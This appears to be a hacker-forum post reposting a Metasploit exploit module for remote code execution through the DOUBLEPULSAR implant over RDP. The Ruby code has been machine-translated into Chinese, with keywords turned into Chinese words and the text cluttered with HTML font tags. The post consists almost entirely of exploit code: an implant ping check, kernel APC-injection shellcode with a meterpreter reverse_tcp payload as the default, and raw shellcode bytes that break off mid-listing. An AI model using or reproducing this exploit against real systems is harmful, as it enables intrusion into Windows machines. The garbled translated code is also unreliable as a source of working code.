• Welcome to the world's largest Chinese hacker forum

    Welcome to the world's largest Chinese hacker forum, our forum registration is open! You can now register for technical communication with us, this is a free and open to the world of the BBS, we founded the purpose for the study of network security, please don't release business of black/grey, or on the BBS posts, to seek help hacker if violations, we will permanently frozen your IP and account, thank you for your cooperation. Hacker attack and defense cracking or network Security

    business please click here: Creation Security  From CNHACKTEAM

RDP DOUBLEPULSAR远程代码执行漏洞


This Wind

Recommended Posts

发布内容作者:metasploit                                              漏洞危害等级:critlow_4.gif〔严重〕

 

<font style="vertical-align: inherit;"><font style="vertical-align: inherit;">##</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
#此模块需要Metasploit:https://metasploit.com/download</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
#当前来源:https://github.com/rapid7/metasploit-framework</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
##</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
类MetasploitModule <Msf :: Exploit :: Remote</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  排名=大排名</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  包括Msf :: Exploit :: Remote :: RDP</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  MAX_SHELLCODE_SIZE = 4096</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  def initialize(info = {})</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    超级(update_info(info,</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      '名称'=>'RDP DOUBLEPULSAR远程执行代码',</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      '说明'=>%q {</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
        该模块针对等式组执行Metasploit有效载荷</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
        用于RDP的DOUBLEPULSAR植入物。</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
        虽然此模块主要针对植入物执行代码执行,</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
        “中和植入物”目标允许您禁用植入物。</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      },</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      '作者'=> [</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
        “方程组”,#DOUBLEPULSAR植入物</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
        “影子经纪人”,#Equation Group dump</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
        “ Luke Jennings”,#DOPU分析和检测</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
        'wvu',#RDP DOPU分析和模块</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
        “ Tom Sellers”,#RDP DOPU分析</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
        'Spencer McIntyre'#RDP DOPU分析</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      ],</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      '参考'=> [</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
        ['URL','https://github.com/countercept/doublepulsar-detection-script']</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      ],</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      'DisclosureDate'=>'2017-04-14',#影子经纪人泄漏</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      '许可证'=> MSF_LICENSE,</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      '平台'=>'胜利',</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      'Arch'=> ARCH_X64,</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      'Privileged'=> true,</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      '有效载荷'=> {</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
        '空格'=> MAX_SHELLCODE_SIZE-kernel_shellcode_size,</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
        'DisableNops'=>是</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      },</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      '目标'=> [</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
        ['执行有效载荷(x64),</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
          'DefaultOptions'=> {</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
            'EXITFUNC'=>'线程',</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
            'PAYLOAD'=>'windows / x64 / meterpreter / reverse_tcp'</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
          }</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
        ],</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
        [“中和植入物”,</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
          'DefaultOptions'=> {</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
            'PAYLOAD'=>无#XXX:“未设置”通用有效载荷</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
          }</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
        ]</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      ],</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      'DefaultTarget'=> 0,</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      '注释'=> {</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
        'AKA'=> ['DOUBLEPULSAR'],</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
        'RelatedModules'=> ['exploit / windows / smb / smb_doublepulsar_rce'],</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
        '稳定性'=> [CRASH_OS_DOWN],</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
        '可靠性'=> [REPEATABLE_SESSION]</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      }</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    ))</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    register_advanced_options([</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      OptBool.new('DefangedMode',[true,'在defanged模式下运行',true]),</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      OptString.new('ProcessName',[true,'将有效负载注入的过程','spoolsv.exe'])</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    ])</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  结束</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  操作码= {</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    执行:0x01,</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    ping:0x02,</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    刻录:0x03</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  }。冻结</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  DOUBLEPULSAR_MAGIC = 0x19283744</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  #https://docs.microsoft.com/zh-CN/windows-hardware/drivers/ddi/wdm/ns-wdm-_osversioninfoexw</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  def parse_doublepulsar_ping(res)</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    除非res && res.length == 288否则返回</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    魔术,_size,主要,次要,构建= res.unpack('V5')</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    sp_major,_sp_minor,_suites,prod,arch = res [-8 ..- 1] .unpack('v3C2')</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    除非魔术== DOUBLEPULSAR_MAGIC,否则返回</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    ver_str =“#{major}。#{minor}。#{build}”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    sp_str =“ SP#{sp_major}”</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    prod_str =</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      案例产品</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      当1</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
        '工作站'</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      当2</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
        “域控制器”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      当3</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
        '服务器'</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      结束</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    arch_str =</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      案例拱</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      当1</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
        'x86'</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      当2</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
        'x64'</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      结束</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ Windows#{prod_str}#{ver_str}#{sp_str}#{arch_str}”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  结束</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  def设置</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;"></font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    rdp_connect</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    is_rdp,server_selected_protocol = rdp_check_protocol</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    fail_with(Failure :: BadConfig,'目标端口不是RDP')除非is_rdp</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    案例server_selected_protocol</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    当RDPConstants :: PROTOCOL_HYBRID,RDPConstants :: PROTOCOL_HYBRID_EX</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      fail_with(失败:: BadConfig,'DOUBLEPULSAR不支持NLA')</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    当RDPConstants :: PROTOCOL_SSL</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      vprint_status('将普通套接字交换为SSL')</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      swap_sock_plain_to_ssl</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    结束</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  抢救Rex :: ConnectionError,RdpCommunicationError => e</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    fail_with(Failure :: Disconnected,e.message)</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  结束</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  def清理</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    rdp_disconnect</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;"></font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  结束</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  def检查</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    print_status('发送ping到DOUBLEPULSAR')</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    res = do_rdp_doublepulsar_pkt(OPCODES [:ping])</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    除非(info = parse_doublepulsar_ping(res))</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      print_error(“未检测到或禁用了DOUBLEPULSAR”)</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      返回CheckCode :: Safe</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    结束</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    print_warning('DOUBLEPULSAR RDP植入检测!!!')</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    print_good(“目标为#{info}”)</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    CheckCode ::脆弱</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  结束</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  def漏洞</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    如果datastore ['DefangedMode']</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      警告= <<〜EOF</font></font><font></font>
<font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
        您确定要针对民族植入物执行代码吗?</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
        如果进行调查,您可能会污染法医证据。</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
        如果您有权继续,请禁用DefangedMode选项。</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      紧急行动</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      fail_with(Failure :: BadConfig,警告)</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    结束</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    #No ForceExploit,因为检查准确</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    除非check == CheckCode :: Vulnerable</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      fail_with(Failure :: NotVulnerable,'如果没有DOUBLEPULSAR,将无法继续')</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    结束</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    案例target.name</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    当'执行有效负载(x64)'</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      print_status(“使用#{datastore ['PAYLOAD']}生成内核shellcode”)</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      shellcode = make_kernel_user_payload(payload.encoded,数据存储区['ProcessName'])</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      shellcode << rand_text(MAX_SHELLCODE_SIZE-shellcode.length)</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      vprint_status(“总的shellcode长度:#{shellcode.length}个字节”)</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      print_status('将shellcode发送到DOUBLEPULSAR')</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      res = do_rdp_doublepulsar_pkt(OPCODES [:exec],shellcode)</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    当“中和植入物”时</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      返回中和</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    结束</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    如果是</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      fail_with(Failure :: UnexpectedReply,“来自植入物的意外响应”)</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    结束</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    print_good('有效载荷执行成功')</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  结束</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  def中和植入</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    print_status('中和DOUBLEPULSAR')</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    res = do_rdp_doublepulsar_pkt(OPCODES [:burn])</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    如果是</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      fail_with(Failure :: UnexpectedReply,“来自植入物的意外响应”)</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    结束</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    print_good(“植入物中和成功”)</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  结束</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  def do_rdp_doublepulsar_pkt(opcode = OPCODES [:ping],body = nil)</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    rdp_send_recv(make_rdp_mcs_doublepulsar(操作码,正文))</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  救援Errno :: ECONNRESET,RdpCommunicationError</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;"></font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  结束</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
=开始</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  多点通信服务T.125</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      DomainMCSPDU:channelJoinConfirm(15)</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
          channelJoin确认</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
              结果:rt-domain-not-hierarchical(2)</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
              发起者:14120</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
              要求:6402</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
=结束</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  def make_rdp_mcs_doublepulsar(操作码,正文)</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    data =“ \ x3c”#channelJoinConfirm</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    数据<< [[DOUBLEPULSAR_MAGIC] .pack('V')</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    数据<< [opcode] .pack('v')</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    如果身体</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      数据<< [body.length,body.length,0] .pack('V *')</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      数据<<正文</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    结束</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    build_data_tpdu(数据)</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  结束</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  #ring3 =用户模式编码的有效负载</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  #proc_name =将APC注入的过程</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  def make_kernel_user_payload(ring3,proc_name)</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    sc = make_kernel_shellcode(proc_name)</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    sc << [ring3.length] .pack('S <')</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    sc << ring3</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    SC</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  结束</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  def generate_process_hash(进程)</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    #来自外部/源代码/shellcode/windows/multi_arch_kernel_queue_apc.asm中的x64_calc_hash</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    proc_hash = 0</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    处理<<“ \ x00”</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    process.each_byte做| c |</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      proc_hash = ror(proc_hash,13)</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
      proc_hash + = c</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    结束</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    [proc_hash] .pack('l <')</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  结束</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  def ror(dword,位)</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    (dword >>位| dword <<(32位))&0xFFFFFFFF</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  结束</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  def make_kernel_shellcode(proc_name)</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    #参见:external / source / shellcode / windows / multi_arch_kernel_queue_apc.asm</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    #长度:780字节</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ x31 \ xc9 \ x41 \ xe2 \ x01 \ xc3 \ x56 \ x41 \ x57 \ x41 \ x56 \ x41 \ x55 \ x41 \ x54 \ x53”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ x55 \ x48 \ x89 \ xe5 \ x66 \ x83 \ xe4 \ xf0 \ x48 \ x83 \ xec \ x20 \ x4c \ x8d \ x35 \ xe3”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ xff \ xff \ xff \ x65 \ x4c \ x8b \ x3c \ x25 \ x38 \ x00 \ x00 \ x00 \ x4d \ x8b \ x7f \ x04”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ x49 \ xc1 \ xef \ x0c \ x49 \ xc1 \ xe7 \ x0c \ x49 \ x81 \ xef \ x00 \ x10 \ x00 \ x00 \ x49”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ x8b \ x37 \ x66 \ x81 \ xfe \ x4d \ x5a \ x75 \ xef \ x41 \ xbb \ x5c \ x72 \ x11 \ x62 \ xe8”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ x18 \ x02 \ x00 \ x00 \ x48 \ x89 \ xc6 \ x48 \ x81 \ xc6 \ x08 \ x03 \ x00 \ x00 \ x41 \ xbb”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ x7a \ xba \ xa3 \ x30 \ xe8 \ x03 \ x02 \ x00 \ x00 \ x48 \ x89 \ xf1 \ x48 \ x39 \ xf0 \ x77”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ x11 \ x48 \ x8d \ x90 \ x00 \ x05 \ x00 \ x00 \ x48 \ x39 \ xf2 \ x72 \ x05 \ x48 \ x29 \ xc6”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ xeb \ x08 \ x48 \ x8b \ x36 \ x48 \ x39 \ xce \ x75 \ xe2 \ x49 \ x89 \ xf4 \ x31 \ xdb \ x89”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ xd9 \ x83 \ xc1 \ x04 \ x81 \ xf9 \ x00 \ x00 \ x01 \ x00 \ x0f \ x8d \ x66 \ x01 \ x00 \ x00”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ x4c \ x89 \ xf2 \ x89 \ xcb \ x41 \ xbb \ x66 \ x55 \ xa2 \ x4b \ xe8 \ xbc \ x01 \ x00 \ x00”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ x85 \ xc0 \ x75 \ xdb \ x49 \ x8b \ x0e \ x41 \ xbb \ xa3 \ x6f \ x72 \ x2d \ xe8 \ xaa \ x01”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ x00 \ x00 \ x48 \ x89 \ xc6 \ xe8 \ x50 \ x01 \ x00 \ x00 \ x41 \ x81 \ xf9” +</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    generate_process_hash(proc_name.upcase)+</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ x75 \ xbc \ x49 \ x8b \ x1e \ x4d \ x8d \ x6e \ x10 \ x4c \ x89 \ xea \ x48 \ x89 \ xd9”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ x41 \ xbb \ xe5 \ x24 \ x11 \ xdc \ xe8 \ x81 \ x01 \ x00 \ x00 \ x6a \ x40 \ x68 \ x00 \ x10</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ x00 \ x00 \ x4d \ x8d \ x4e \ x08 \ x49 \ xc7 \ x01 \ x00 \ x10 \ x00 \ x00 \ x4d \ x31 \ xc0”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ x4c \ x89 \ xf2 \ x31 \ xc9 \ x48 \ x89 \ x0a \ x48 \ xf7 \ xd1 \ x41 \ xbb \ x4b \ xca \ x0a”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ xee \ x48 \ x83 \ xec \ x20 \ xe8 \ x52 \ x01 \ x00 \ x00 \ x85 \ xc0 \ x0f \ x85 \ xc8 \ x00”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ x00 \ x00 \ x49 \ x8b \ x3e \ x48 \ x8d \ x35 \ xe9 \ x00 \ x00 \ x00 \ x31 \ xc9 \ x66 \ x03” \</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ x0d \ xd7 \ x01 \ x00 \ x00 \ x66 \ x81 \ xc1 \ xf9 \ x00 \ xf3 \ xa4 \ x48 \ x89 \ xde \ x48”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ x81 \ xc6 \ x08 \ x03 \ x00 \ x00 \ x48 \ x89 \ xf1 \ x48 \ x8b \ x11 \ x4c \ x29 \ xe2 \ x51”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ x52 \ x48 \ x89 \ xd1 \ x48 \ x83 \ xec \ x20 \ x41 \ xbb \ x26 \ x40 \ x36 \ x9d \ xe8 \ x09”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ x01 \ x00 \ x00 \ x48 \ x83 \ xc4 \ x20 \ x5a \ x59 \ x48 \ x85 \ xc0 \ x74 \ x18 \ x48 \ x8b”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ x80 \ xc8 \ x02 \ x00 \ x00 \ x48 \ x85 \ xc0 \ x74 \ x0c \ x48 \ x83 \ xc2 \ x4c \ x8b \ x02”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ x0f \ xba \ xe0 \ x05 \ x72 \ x05 \ x48 \ x8b \ x09 \ xeb \ xbe \ x48 \ x83 \ xea \ x4c \ x49”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
